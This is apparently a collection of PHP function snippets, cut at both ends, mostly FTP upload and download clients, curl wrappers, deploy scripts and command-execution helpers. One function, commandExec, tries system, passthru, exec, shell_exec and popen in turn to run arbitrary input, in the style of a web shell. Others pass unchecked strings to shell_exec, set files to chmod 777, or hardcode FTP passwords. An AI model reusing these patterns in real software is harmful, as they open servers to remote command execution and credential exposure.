conectar al FTP: $server\", false);\r\n\t\tlimpiarCagadas($newId);\r\n\t};\r\n\t\r\n\tif( !$ftp->cambiarAcarpeta($dir_final . $dir_crops ) ){\r\n\t\tif( !$ftp->crearCarpeta( $dir_final . $dir_crops ) ){\r\n\t\t\terror(\"No se pudo crear la carpeta: $dir_final . $dir_crops\", false);\r\n\t\t\tlimpiarCagadas($newId);\r\n\t\t\tdie();\r\n\t\t}\r\n\t\t$ftp->cambiarAcarpeta($dir_final . $dir_crops);\r\n\t}\r\n\t\t\r\n\tif( !$ftp->cambiarAcarpeta( $dir_id ) ){\r\n\t\tif( !$ftp->crearCarpeta( $dir_id ) ){\r\n\t\t\tlimpiarCagadas($newId);\r\n\t\t\tdie(\"No se pudo crear la carpeta: \" . $dir_final . $dir_crops . $dir_id);\r\n\t\t}\r\n\t\t$ftp->cambiarAcarpeta( $dir_id );\r\n\t}\r\n\t\r\n\tif( !$ftp->subir( $archivo, $localFile) ){\r\n\t\tprint \"no se pudo subir ($archivo a $remoteFilePath en $server)\\n\";\r\n\t\terror(\"No se pudo subir $archivo a $remoteFilePath en $server\", false);\r\n\t\tlimpiarCagadas($newId);\r\n\t\tdie();\r\n\t}else{\r\n\t\t@unlink($archivo);\r\n\t\tprint $localFile . \" subido a: $server!!<br />\";\r\n\t}\r\n\r\n\t//$ftp->logout();\r\n\t//print \"$remoteFilePath@$server@$destino <br />\";\r\n\t$_SESSION['subidos'][] = \"$remoteFilePath@$server@$destino\";\r\n}", "public function runCommand($command)\n { $log = usingLog()->startAction(\"run command '{$command}' on host '{$this->args[0]}'\");\n\n // make sure we have valid host details\n $hostDetails = $this->getHostDetails();\n\n // get an object to talk to this host\n $host = OsLib::getHostAdapter($this->st, $hostDetails->osName);\n\n // run the command in the guest operating system\n $result = $host->runCommand($hostDetails, $command);\n\n // did the command succeed?\n if ($result->didCommandFail()) {\n $msg = \"command failed with return code '{$result->returnCode}' and output '{$result->output}'\";\n $log->endAction($msg);\n throw new E5xx_ActionFailed(__METHOD__, $msg);\n }\n\n // all done\n $log->endAction();\n return $result;\n }", "public static function remoteExecute($service, $method, $params = null, $url, $token)\n {\n $devless = new SDK($url, $token);\n return $devless->call($service, $method, $params);\n }", "public function upload() {\n // FYI. We are on master now.\n $m_ftp = new \\Model_Ftp();\n $m_ftp->user_id = $this->user_id;\n $branch = $this->branch;\n // Get ftp data for the respective branch\n $ftp_data = $m_ftp->get($branch['ftp_id']);\n\n if (count($ftp_data) !== 1) {\n $this->log('Failed: Enviornment does not have a Linked FTP account.');\n throw new Exception(\"No Linked FTP for enviornment.\");\n } else {\n $ftp_data = $ftp_data[0];\n }\n\n // Testing if the FTP server works.\n try {\n $ftp_data['user'] = $ftp_data['username'];\n $ftp_url = http_build_url($ftp_data);\n// $ftp_test = utils::test_ftp($ftp_url);\n $ftp_test = new \\Banago\\Bridge\\Bridge($ftp_url);\n if ($ftp_test) {\n $this->log('ftp_connect', 'connected');\n }\n } catch (Exception $e) {\n $this->log('ftp_connect', 'connection failed: ' . $e->getMessage());\n throw new Exception('We are sending msg here.' . $e->getMessage());\n }\n\n // LOG --------------------------------\n $this->log('deploy_branch', $branch['branch_name']);\n $this->log('deploy_branch_env', $branch['name']);\n $this->output('Deploy to branch name: ' . $branch['branch_name']);\n // LOG END ----------------------------\n\n /*\n * Data is ready, need to get ready with repository state.\n * Has to be checked out to the branch specified\n * and has to be checked out to the commit specified.\n */\n\n /*\n * pull and clone done,\n * checkout to branch now.\n */\n\n $this->output('Checkout to ' . $branch['branch_name']);\n \\Utils::gitCommand(\"checkout \" . $this->branch['branch_name']);\n $this->log('revision_on_server_before', $branch['revision']);\n $this->output('Revision on FTP: ' . $branch['revision']);\n\n // Setting options for gitcore\n $options = array(\n 'record_id' => $this->record_id,\n 'repo' => $this->repo_dir,\n 'debug' => $this->debug,\n 'deploy_id' => $this->deploy_id,\n 'server' => 'default',\n 'ftp' => array(\n 'default' => array(\n 'scheme' => $ftp_data['scheme'],\n 'host' => $ftp_data['host'],\n 'user' => $ftp_data['username'],\n 'pass' => $ftp_data['pass'],\n 'port' => $ftp_data['port'],\n 'path' => $ftp_data['path'],\n 'passive' => TRUE,\n 'skip' => unserialize($this->branch['skip_path']),\n 'purge' => unserialize($this->branch['purge_path']),\n )\n ),\n 'remoteRevision' => $branch['revision'],\n );\n\n // if type_rollback.\n if ($this->record['record_type'] == $this->m_record->type_rollback && !empty($this->record['hash'])) {\n // checkout the the specific hash.\n \\Utils::gitCommand('checkout ' . $this->record['hash']);\n }\n\n // if type_sync\n if ($this->record['record_type'] == $this->m_record->type_sync) {\n // upload all files please.\n $options['remoteRevision'] = '';\n }\n\n if ($this->record['record_type'] == $this->m_record->type_service_push) {\n // push from github/bitbucket.\n if (!empty($this->record['hash']))\n \\Utils::gitCommand('checkout ' . $this->record['hash']);\n }\n\n // else its update\n\n $localRevision = \\Utils::gitCommand('rev-parse HEAD');\n if (isset($localRevision[0])) {\n $localRevision = trim($localRevision[0]);\n $options['localRevision'] = $localRevision;\n }\n\n if ($options['localRevision'] == $options['remoteRevision']) {\n $this->output('FTP server has the latest changes!');\n $this->log('FTP server has the latest changes!');\n }\n\n $this->output($localRevision);\n\n $gitcore = new \\Gitcore($options);\n try {\n // todo: we're inside.\n $gitcore->startDeploy();\n } catch (Exception $e) {\n // Store logs from GITCORE.\n $this->log('deploy_log', $gitcore->log);\n $this->output($this->log);\n throw new \\Exception($e->getMessage());\n }\n\n // Store Logs from GITCORE.\n $this->log['deploy_log'] = $gitcore->log;\n $this->output($this->log);\n\n $before_revision = $this->log['deploy_log']['remoteRevision_before'];\n $current_revision = $this->log['deploy_log']['remoteRevision_after'];\n\n // Storing output from GITCORE.\n $this->m_record->set($this->record_id, array(\n 'raw' => serialize($this->log),\n 'amount_deployed' => $this->log['deploy_log']['deployed']['human'],\n 'amount_deployed_raw' => $this->log['deploy_log']['deployed']['data'],\n 'file_add' => $this->log['deploy_log']['files']['upload'],\n 'file_remove' => $this->log['deploy_log']['files']['delete'],\n 'file_skip' => $this->log['deploy_log']['files']['skip'],\n 'hash' => $current_revision,\n 'hash_before' => $before_revision,\n ));\n\n // OK,\n // Update branch to ready,\n // Update branch revision.\n $this->m_branches->set($branch['id'], array(\n 'ready' => 1,\n 'revision' => $current_revision\n ));\n\n // OK, checkout to master.\n \\Utils::gitCommand('checkout master');\n }", "function get($localfile, $remotefile, $mode = 1)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_get($this->_socket, $localfile, $remotefile, $mode);\r\n \t} else {\r\n \tif ($mode) {\r\n \t\t$type = \"I\";\r\n \t} else {\r\n \t\t$type = \"A\";\r\n \t}\r\n \t\r\n \tif (!$this->file_exists($remotefile)) {\r\n \t\t$this->debug(\"Error : No such file or directory \\\"\".$remotefile.\"\\\"\\n\");\r\n \t\t$this->debug(\"Error : GET failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \tif (@file_exists($localfile)) {\r\n \t\t$this->debug(\"Warning : local file will be overwritten\\n\");\r\n \t} else {\r\n \t\tumask($this->_umask);\r\n \t}\r\n \t\r\n \t$fp = @fopen($localfile, \"w\");\r\n \tif (!$fp) {\r\n \t\t$this->debug(\"Error : Cannot create \\\"\".$localfile.\"\\\"\");\r\n \t\t$this->debug(\"Error : GET failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->putcmd(\"PASV\");\r\n \t$string = $this->getresp();\r\n \t\r\n \t$this->putcmd(\"TYPE\", $type);\r\n \t$this->getresp();\r\n \t\r\n \t$this->putcmd(\"RETR\", $remotefile);\r\n \t\r\n \t$sock_data = $this->open_data_connection($string);\r\n \tif (!$sock_data) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Connected to remote host\\n\");\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host\\n\");\r\n \t\t$this->debug(\"Error : GET failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->debug(\"Retrieving remote file \\\"\".$remotefile.\"\\\" to local file \\\"\".$localfile.\"\\\"\\n\");\r\n \twhile (!feof($sock_data)) {\r\n \t\tfputs($fp, fread($sock_data, 4096));\r\n \t}\r\n \tfclose($fp);\r\n \t\r\n \t$this->close_data_connection($sock_data);\r\n \t}\r\n \treturn $this->ok();\r\n }", "public function execute_command($command)\r\n\t{\r\n\t\t//supress notices from prematurely shutdown connections\r\n\t\treturn @$this->_device_connection->execute_command($command);\r\n\t}", "public function execute(): void\n\t{\n\t\techo 'Complex Command: should be done by a receiver object <br>';\n\t\t$this->receiver->doSomething($this->a);\n\t\t$this->receiver->doSomethingElse($this->b);\n\t}", "function fput($remotefile, $fp, $mode = 1)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_fput($this->_socket, $remotefile, $fp, $mode);\r\n \t} else {\r\n \tif ($mode) {\r\n \t\t$type = \"I\";\r\n \t} else {\r\n \t\t$type = \"A\";\r\n \t}\r\n \t\r\n \t$this->putcmd(\"PASV\");\r\n \t$string = $this->getresp();\r\n \t\r\n \t$this->putcmd(\"TYPE\", $type);\r\n \t$this->getresp();\r\n \t\r\n \tif ($this->file_exists($remotefile)) {\r\n \t\t$this->debug(\"Warning : Remote file will be overwritten\\n\");\r\n \t}\r\n \t\r\n \t$this->putcmd(\"STOR\", $remotefile);\r\n \t\r\n \t$sock_data = $this->open_data_connection($string);\r\n \tif (!$sock_data) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Connected to remote host\\n\");\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host\\n\");\r\n \t\t$this->debug(\"Error : PUT failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->debug(\"Storing local file to remote file \\\"\".$remotefile.\"\\\"\\n\");\r\n \twhile (!feof($fp)) {\r\n \t\tfputs($sock_data, fread($fp, 4096));\r\n \t}\r\n \t\r\n \t$this->close_data_connection($sock_data);\r\n \t}\r\n \treturn $this->ok();\r\n }", "public function execute()\n {\n return curl_exec($this->_handle);\n }", "public function executeCommands()\n {\n $isVhostCreated = $this->createVirtualHostFile();\n if (!$isVhostCreated) {\n showInfo('Something went wrong' . printNextLine());\n showInfo('Exiting the wizard.' . printNextLine());\n printNextLine();\n exit();\n }\n $this->addNewHostToHostsFile();\n showInfo(' [ ' . $this->name . $this->extension . ' ] >>> Virtual host file is created successfully' . printNextLine());\n showInfo(' [ ' . $this->name . ' ] >>> Added to the HOSTS file successfully' . printNextLine());\n $this->enableNewVirtualHost();\n printNextLine();\n showInfo(' New host ready to rock Goto >>>> http://' . $this->name);\n printNextLine();\n printNextLine();\n }", "public function run($options = array())\n {\n output(\"Pulling remote files\");\n $to_dir = C5_DIR . \"/\" . \"files/\";\n Hook::fire('before_files_pull');\n \n $rsync_options = \"\";\n \n // Look for an rsync exclude file\n // See here for recommended excludes: http://www.concrete5.org/documentation/installation/moving_a_site/\n if (! file_exists(CONSH_RSYNC_EXCLUDE_FILE)) {\n output(\"Rsync exclude file not found at \".CONSH_RSYNC_EXCLUDE_FILE.\"\\n\",\"error\");\n } else {\n $rsync_options.= \" --exclude-from '\".CONSH_RSYNC_EXCLUDE_FILE.\"' \";\n output(\"These files will be ignored:\\n\".file_get_contents(CONSH_RSYNC_EXCLUDE_FILE));\n }\n if (defined('MAX_FILE_PULL_SIZE')) {\n $rsync_options .= \" --max-size=\".MAX_FILE_PULL_SIZE;\n }\n if (!defined('FILES_PULL_RSYNC_COMMAND')) {\n $command = 'rsync -az '.$rsync_options.' --delete '. REMOTE_USER . '@' . REMOTE_HOST . ':' . REMOTE_DOC_ROOT . \"files/ \" . $to_dir;\n } else {\n $command = FILES_PULL_RSYNC_COMMAND;\n }\n $output = shell_exec($command);\n shell_exec('chmod 777 files/ files/cache');\n Hook::fire('after_files_pull');\n output(\"Done\", 'success');\n return true;\n }", "public function deleteFtpUserAction()\n\t{\n\t\t$request = $this->_request();\n\t\t$ftpUserId = intval($request->getParam('ftpUserId', null));\n\n\t\t// We want deal with an FTP user entity so we must first get the entity manager instance\n\n\t\ttry {\n\t\t\t// Getting current user identify\n\t\t\t$user = iMSCP_Authentication::getInstance()->getIdentity();\n\n\t\t\t// Entity manager instance\n\t\t\t$em = iMSCP_Api_EntityManager::getInstance();\n\n\t\t\t// We want delete an FTP user so we retrieve it from the datastore by using our API\n\t\t\t$ftpUser = $em->findBy(array('id' => $ftpUserId, 'owner_id' => $user->id));\n\n\t\t\tif(!$ftpUser) {\n\t\t\t\t// Ftp account not found - Probably a wrong request...\n\t\t\t\tsetPageMessage(tr('Unable to found Ftp user with Id %s', $ftpUserId), 'error');\n\t\t\t\tiMSCP_Registry::get('Log')->warn(sprintf('%s tried to deleted an inexistent Ftp account', $user->username));\n\t\t\t} else {\n\t\t\t\t// Here, we get the API proxy instance and will call the method ftp() on it that return an ftp dispatcheableAction\n\t\t\t\t// object (ftp) on which we dispatch the deleteFtpUser action over all declared servers that manage the Ftp service.\n\t\t\t\t$response = iMSCP_Registry::get('api')->ftp->deleteFtpUser($ftpUser); // TIMEOUT for response can be customized here\n\n\t\t\t\t############################################\n\t\t\t\t// Alternate way for the code line above is:\n\t\t\t\t$ftpApi = new iMSCP_Api_Modules_Ftp_Api();\n\t\t\t\t$response = $ftpApi->deleteFtpUser($ftpUser);\n\t\t\t\t############################################\n\n\t\t\t\tif($response->isSuccess()) {\n\t\t\t\t\tsetPageMessage(tr('Ftp account successfully deleted'), 'success');\n\t\t\t\t\tiMSCP_Registry::get('Log')->info(sprintf('%s deleted Ftp account with id %s', $user->username, $ftpUserId));\n\t\t\t\t} else {\n\t\t\t\t\tsetPageMessage(tr('Ftp account deletion failed.'));\n\t\t\t\t\tiMSCP_Registry::get('Log')->error(sprintf('%s was unable to delete Ftp account with id %s', $user->username, $ftpUserId));\n\t\t\t\t}\n\t\t\t}\n\t\t} catch(Exception $e) {\n\t\t\tsetPageMessage(tr('Ftp account creation failed.'));\n\t\t\tiMSCP_Registry::get('Log')->error($e->toString);\n\t\t}\n\n\t\t$this->_redirect('ftp/list');\n\t}", "function Uploadfile($filename){\n\techo (\"Attempting to connect through FTP...\\n\"); \n\t$conn_id = ftp_connect('login.yahoo.com');\n\n\t // check connection\n\tif(!$conn_id){\n\t\techo \"Connection Failed \\n\";\n\t\texit ; \n\t}\n\telse\n\t\techo \"Connection Established \\n\";\n\t\n\t// login with username and password\n\techo (\"Logging in...\\n\");\n\t$login_result = ftp_login ($conn_id, 'yqa_jaya_arflow26', 'abcd1234abcd');\n\n\t// check result\n\tif(!$login_result){\n\t\techo \"Login Failed \\n\";\n\t\texit;\n\t}\n\telse\n\t\techo \"Login Successful \\n\";\n\n\t// upload the file\n\techo (\"Uploading '$filename' ... \\n\");\n\t$destination= '/public_html/uploads/' . $filename;\n\t$source =dirname(__FILE__). '/'.$filename;\n\t$upload =ftp_put($conn_id,$destination,$source, FTP_BINARY);\n\t\n\t//Check result\n\tif($upload)\n\t\techo \"Uploaded successfully\";\n\telse{\n\t\techo \"Upload failed\" ;\n\t\texit;\n\t}\n\t\n\t// close our connection\n\techo \"Closing FTP connection \\n\";\n\tftp_close($conn_id);\t\n\techo \"Connection Closed \\n\";\n}", "private static function execute($command) {\n\t\treturn shell_exec($command);\n\t}", "private function doCommand($cmd, $timeout=10.0) {\n \n /* try to open the command port */\n \n $errno = 0;\n $errstr = \"\";\n $handle = fsockopen(\"tcp://localhost\", 5999, $errno, $errstr, $timeout); \n\n if(!$handle) {\n \n $this->error(\"doCommnand() - can't open command port ($errno): $errstr\");\n return false;\n }\n \n /* send the command */\n \n $cmd = trim($cmd).\"\\n\";\n \n if(!fwrite($handle, $cmd)) {\n $this->error(\"doCommnand() - can't send command.\");\n return false;\n }\n \n /* get the output */\n \n $output = \"\";\n \n while(!feof($handle)) {\n \n $output .= fgets($handle, 2048);\n }\n \n fclose($handle); \n\n /* pass back the lines of output as an array */\n \n return explode(\"\\n\", $output);\n }", "function FtpUpload($dest_file, $src_file){\n\n $server='localhost'; // ftp server\n $connection = ftp_connect($server); // connection\n\n // login to ftp server\n $user = \"linkrx7\";\n $pass = \"rotary\";\n $result = ftp_login($connection, $user, $pass);\n// check connection\nif ((!$connection) || (!$result)) { \n echo \"FTP connection has failed!\";\n echo \"Attempted to connect to $ftp_server for user $ftp_user_name\"; \n exit; \n}\n// upload the file\n$upload = ftp_put($connection, $dest_file, $src_file, FTP_BINARY); \n\n// check upload status\nif (!$upload) { \n echo \"FTP upload has failed!\";\n }\n// close the FTP stream \nftp_close($connection);\n}", "function commandExec($param)\n{\n echo gethostname() . \"@\" . get_current_user() . \" $ \" . $param . \"<br>\";\n if (! checkFunctions(\"system\")) {\n system($param);\n } else if (! checkFunctions(\"passthru\")) {\n echo passthru($param);\n } else if (! checkFunctions(\"exec\")) {\n echo exec($param);\n } else if (! checkFunctions(\"shell_exec\")) {\n echo shell_exec($param);\n } else if (! checkFunctions(\"popen\")) {\n $handle = popen($param . ' 2>&1', \"r\");\n $read = fread($handle, 2096);\n echo $read;\n fclose($handle);\n }else{\n echo \"Sorry we can't run any system command in this server\";\n }\n}", "public function send(RemoteMethodInterface $remoteMethod);", "public abstract function exec();", "public function exec()\n {\n return curl_exec($this->_session);\n }", "function execute($url, $options)\n\t{\n\t\t$curl = curl_init($url);\n\t\tcurl_setopt_array($curl, $options);\n\t\treturn curl_exec($curl);\n\t}", "function put($remotefile, $localfile, $mode = 1)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_put($this->_socket, $remotefile, $localfile, $mode);\r\n \t} else {\r\n \tif ($mode) {\r\n \t\t$type = \"I\";\r\n \t} else {\r\n \t\t$type = \"A\";\r\n \t}\r\n \t\r\n \tif (!file_exists($localfile)) {\r\n \t\t$this->debug(\"Error : No such file or directory \\\"\".$localfile.\"\\\"\\n\");\r\n \t\t$this->debug(\"Error : PUT failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$fp = @fopen($localfile, \"r\");\r\n \tif (!$fp) {\r\n \t\t$this->debug(\"Cannot read file \\\"\".$localfile.\"\\\"\\n\");\r\n \t\t$this->debug(\"Error : PUT failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->putcmd(\"PASV\");\r\n \t$string = $this->getresp();\r\n \t\r\n \t$this->putcmd(\"TYPE\", $type);\r\n \t$this->getresp();\r\n \t\r\n \tif ($this->file_exists($remotefile)) {\r\n \t\t$this->debug(\"Warning : Remote file will be overwritten\\n\");\r\n \t}\r\n \t\r\n \t$this->putcmd(\"STOR\", $remotefile);\r\n \t\r\n \t$sock_data = $this->open_data_connection($string);\r\n \tif (!$sock_data) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Connected to remote host\\n\");\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host\\n\");\r\n \t\t$this->debug(\"Error : PUT failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->debug(\"Storing local file \\\"\".$localfile.\"\\\" to remote file \\\"\".$remotefile.\"\\\"\\n\");\r\n \twhile (!feof($fp)) {\r\n \t\tfputs($sock_data, fread($fp, 4096));\r\n \t}\r\n \tfclose($fp);\r\n \t\r\n \t$this->close_data_connection($sock_data);\r\n \t}\r\n \treturn $this->ok();\r\n }", "public function delete($remoteFile) {\r\n if (!ftp_delete($this->connessione, $remoteFile)) {\r\n echo '<p class=\"error\">IMPOSSIBILE CANCELLARE IL FILE REMOTO: ' . $remoteFile . '</p>';\r\n }\r\n }", "function ftp($host, $username, $password, $root_path, $port = 21, $timeout = 10)\n\t{\n\t\t$this->host\t\t\t= $host;\n\t\t$this->port\t\t\t= $port;\n\t\t$this->username\t\t= $username;\n\t\t$this->password\t\t= $password;\n\t\t$this->timeout\t\t= $timeout;\n\n\t\t// Make sure $this->root_path is layed out the same way as the $user->page['root_script_path'] value (/ at the end)\n\t\t$this->root_path\t= str_replace('\\\\', '/', $this->root_path);\n\n\t\tif (!empty($root_path))\n\t\t{\n\t\t\t$this->root_path = (($root_path[0] != '/' ) ? '/' : '') . $root_path . ((substr($root_path, -1, 1) == '/') ? '' : '/');\n\t\t}\n\n\t\t// Init some needed values\n\t\ttransfer::transfer();\n\n\t\treturn;\n\t}", "public function run($command)\n {\n passthru($command);\n }", "public function eftipi(){\n $ftp_server = \"ftp.**.com\"; \n $conn_id = ftp_ssl_connect($ftp_server); \n\n // login with username and password \n $ftp_user_name = \"**\"; \n $ftp_user_pass = \"**\"; \n $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass); \n ftp_pasv($conn_id, true); \n // check connection \n if ((!$conn_id) || (!$login_result)) { \n echo \"FTP connection has failed!\"; \n echo \"Attempted to connect to $ftp_server for user $ftp_user_name\"; \n exit; \n } else { \n echo \"Connected to $ftp_server, for user $ftp_user_name\"; \n } \n\n if (ftp_chdir($conn_id, \"**mx/inventario\")) {\n echo \"\\nCurrent directory is now: \" . ftp_pwd($conn_id) . \"\\n\";\n if (ftp_get($conn_id, 'ideac '.date('d-m-y').'.csv', 'inventario.csv', FTP_BINARY)) {\n echo \"Se ha guardado satisfactoriamente en 'ideac \".date('d-m-y').\".csv'\\n\";\n rename($_SERVER['DOCUMENT_ROOT'].'/TheBlueShip/inventory/ideac '.date('d-m-y').'.csv', $_SERVER['DOCUMENT_ROOT'].'/TheBlueShip/inventory/Jul/ideac '.date('d-m-y').'.csv');\n } else {\n echo \"Ha habido un problema\\n\";\n }\n } else { \n echo \"Couldn't change directory\\n\";\n }\n\n $buff = ftp_rawlist($conn_id, '.'); \n //var_dump($buff); \n ftp_close($conn_id); \n }", "public function exec(){\n return curl_exec($this->handler);\n }", "public function wp_ftp_migration($opts, $type_ftp = 'ftp'){\n\n\t\t$file \t\t\t= $this->_file_destination;\n\t\t$remote_file \t= $this->_file_destination;\n\n\t\tif($type_ftp === 'sftp'){\n\t\t\t$connection = ssh2_connect($opts['ftp_url'], 22);\n\t\t\tssh2_auth_password($connection, $opts['user_ftp'], $opts['ftp_pass']);\n\n\t\t\tssh2_scp_send($connection, 'migration.php', rtrim($opts['ftp_folder'], '/').'/migration.php', 0644);\n\t\t\tssh2_scp_send($connection, $this->_file_sql, rtrim($opts['ftp_folder'], '/').'/'.$this->_file_sql, 0644);\n\t\t\tssh2_scp_send($connection, $file, rtrim($opts['ftp_folder'], '/').'/'.$remote_file, 0644);\n\n\t\t\treturn TRUE;\n\t\t}\n\n\t\tif($type_ftp === 'ftp'){\n\t\t\t$conn_id = ftp_connect($opts['ftp_url']);\n\t\t}elseif ($type_ftp === 'ftps') {\n\t\t\t$conn_id = ftp_ssl_connect($opts['ftp_url']);\n\t\t}\n\n\t\tif($conn_id == FALSE){\n\n\t\t\treturn FALSE;\n\t\t}\n\n\t\t$login_result = ftp_login($conn_id, $opts['user_ftp'], $opts['ftp_pass']);\n\t\tif($login_result == FALSE){\n\n\t\t\treturn FALSE;\n\t\t}\n\n\t\t// Envoie de tous les fichiers en FTP\n\t\t$this->ftp_putAll($conn_id, '.', rtrim($opts['ftp_folder'], '/'));\n\t\t\n\t\tftp_close($conn_id);\n\n\t\treturn TRUE;\n\t}", "private static function executeCommand($command) {\n if (empty($command)) {\n return FALSE;\n }\n\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $command);\n curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);\n\n $response = curl_exec($ch);\n $error = curl_error($ch);\n if ($error) {\n return FALSE;\n }\n curl_close($ch);\n return $response;\n }", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "abstract public function run($command);", "public function executeCommand( $cmd ){\n\n\t\t//Redirect the command result to the standar output\n\t\t$cmd = $cmd . \" 2>&1 \";\n\n\t\tif( env('CLOUD_DEBUG') ){\n\t\t\techo sprintf( \"Executing fake : %s\", $cmd );\n\t\t}\n\t\telse{\n $result = shell_exec($cmd);\n return $result;\n\t\t}\n }", "public function run()\n\t{\n\t\t// First lets login to the phpMyAdmin Server, if not already.\n\t\tif ($this->loggedIn == null)\n\t\t{\n\t\t\t$result = $this->taskPhpMyAdminLogin()\n\t\t\t\t->phpMyAdminUrl($this->phpMyAdminUrl)\n\t\t\t\t->phpMyAdminUser($this->phpMyAdminUser)\n\t\t\t\t->phpMyAdminPass($this->phpMyAdminPass)\n\t\t\t\t->remoteDbHost($this->remoteDbHost)\n\t\t\t->run();\n\n\t\t\tif (!$result->wasSuccessful())\n\t\t\t{\n\t\t\t\tthrow new RuntimeException('Failed to Login!');\n\t\t\t}\n\n\t\t\t$this->loggedIn = $result->getTask();\n\t\t}\n\n\t\t// Execute our sql\n\t\t$this->printTaskInfo('Executing the query.');\n\t\t$response = $this->loggedIn->getClient()->post('import.php',\n\t\t[\n\t\t\t'form_params' =>\n\t\t\t[\n\t\t\t\t'db' => $this->remoteDbName,\n\t\t\t\t'server' => $this->loggedIn->getServerId(),\n\t\t\t\t'token' => $this->loggedIn->getToken(),\n\t\t\t\t'sql_query' => $this->query,\n\t\t\t\t'sql_delimiter' => ';'\n\n\t\t\t]\n\t\t])->getBody();\n\n\t\t// Check to make sure it worked\n\t\tif (!$this->confirmSuccessfulImport($response))\n\t\t{\n\t\t\t// Save the response to a temp file for later inspection\n\t\t\t$responseLog = tempnam(sys_get_temp_dir(), 'phpMyAdminResponse');\n\t\t\tfile_put_contents($responseLog, $response);\n\n\t\t\t// Bail out\n\t\t\tthrow new RuntimeException\n\t\t\t(\n\t\t\t\t'Your query failed. '.\n\t\t\t\t'A log of the complete HTTP response has been saved to: '.\n\t\t\t\t$responseLog\n\t\t\t);\n\t\t}\n\n\t\t// If we get to here assume everything worked\n\t\treturn Result::success($this);\n\t}", "public function execute() {\n \n return (new Result(shell_exec($this->fullCommand())));\n }", "public function exec()\n {\n return curl_exec($this->curl);\n }", "public function exec()\n {\n return curl_exec($this->curl);\n }", "protected function _sendFile($fileName)\n {\n $dir = $this->_getTmpDir();\n $ftpServer = Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_SERVER);\n $ftpUserName = Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_USER);\n $ftpPass = Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_PASSWORD);\n $ftpPath = trim(Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_PATH), '/');\n if ($ftpPath) {\n $ftpPath = $ftpPath.'/';\n }\n\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, 'ftp://'.$ftpUserName.':'.$ftpPass.'@'.$ftpServer.'/'.$ftpPath.$fileName);\n curl_setopt($ch, CURLOPT_UPLOAD, 1);\n curl_setopt($ch, CURLOPT_INFILE, fopen($dir.$fileName, 'r'));\n curl_setopt($ch, CURLOPT_INFILESIZE, filesize($dir.$fileName));\n curl_exec($ch);\n curl_close($ch);\n }", "public function passthru(): void;", "public function execute() {\n\t\t\t$connection = \\Leap\\Core\\DB\\Connection\\Pool::instance()->get_connection($this->data_source);\n\t\t\tif ($this->before !== NULL) {\n\t\t\t\tcall_user_func_array($this->before, array($connection));\n\t\t\t}\n\t\t\t$connection->execute($this->command());\n\t\t\tif ($this->after !== NULL) {\n\t\t\t\tcall_user_func_array($this->after, array($connection));\n\t\t\t}\n\t\t}", "function execute_cmd($cmd)\n\t{\n\t\tfwrite(\"w\",\"/var/run/exec.sh\",$cmd);\n\t\tevent(\"EXECUTE\");\n\t}", "public function execute(Command $command)\n {\n return $this->getActiveNode()->execute($command, $this->api);\n }", "protected function callCommandMethod() {}", "function exec() {\r\n return curl_exec($this->curl);\r\n }", "public static function shutdown() {\n $c= new FtpConnection('ftp://test:test@'.self::$bindAddress);\n $c->connect();\n $c->sendCommand('SHUTDOWN');\n $c->close();\n }", "function wp_cli_app_set_remote( $args, $assoc_args ) {\n\n\t/** Force Only run With --Prompt */\n\tif ( ! isset ( $assoc_args['prompt'] ) and count( $assoc_args ) == 0 ) {\n\t\tWP_CLI::runcommand( \"app set:remote --prompt\" );\n\t\treturn;\n\t}\n\n\t//Check Empty Arg\n\t$require_key = array( \"ftp_host\", \"ftp_login\", \"ftp_password\", \"website_url\" );\n\tforeach ( $require_key as $r ) {\n\t\tif ( empty( $assoc_args[ $r ] ) ) {\n\t\t\tCLI::error( \"Please Enter `$r` Field.\" );\n\t\t\texit;\n\t\t}\n\t}\n\n\t//Sanitize arg\n\t$port = CLI::get_flag_value( $assoc_args, 'port', '21' );\n\t$is_ssl = CLI::get_flag_value( $assoc_args, 'ssl_connect', 0 );\n\t$passive_mode = CLI::get_flag_value( $assoc_args, 'passive_mode', 1 );\n\t$url = CLI::get_flag_value( $assoc_args, 'website_url', '' );\n\t$url = filter_var( trim( $url ), FILTER_SANITIZE_URL );\n\tif ( ! empty( $url ) and function_exists( 'parse_url' ) ) {\n\t\tif ( $ret = parse_url( $url ) ) {\n\t\t\tif ( ! isset( $ret[\"scheme\"] ) ) {\n\t\t\t\t$url = \"http://{$url}\";\n\t\t\t}\n\t\t}\n\t}\n\n\t//Set Number Step\n\t$step = 3;\n\n\t//Check Ftp Connect\n\t$ftp = new FTP();\n\t$ftp->host = trim( $assoc_args['ftp_host'] );\n\t$ftp->login = trim( $assoc_args['ftp_login'] );\n\t$ftp->password = trim( $assoc_args['ftp_password'] 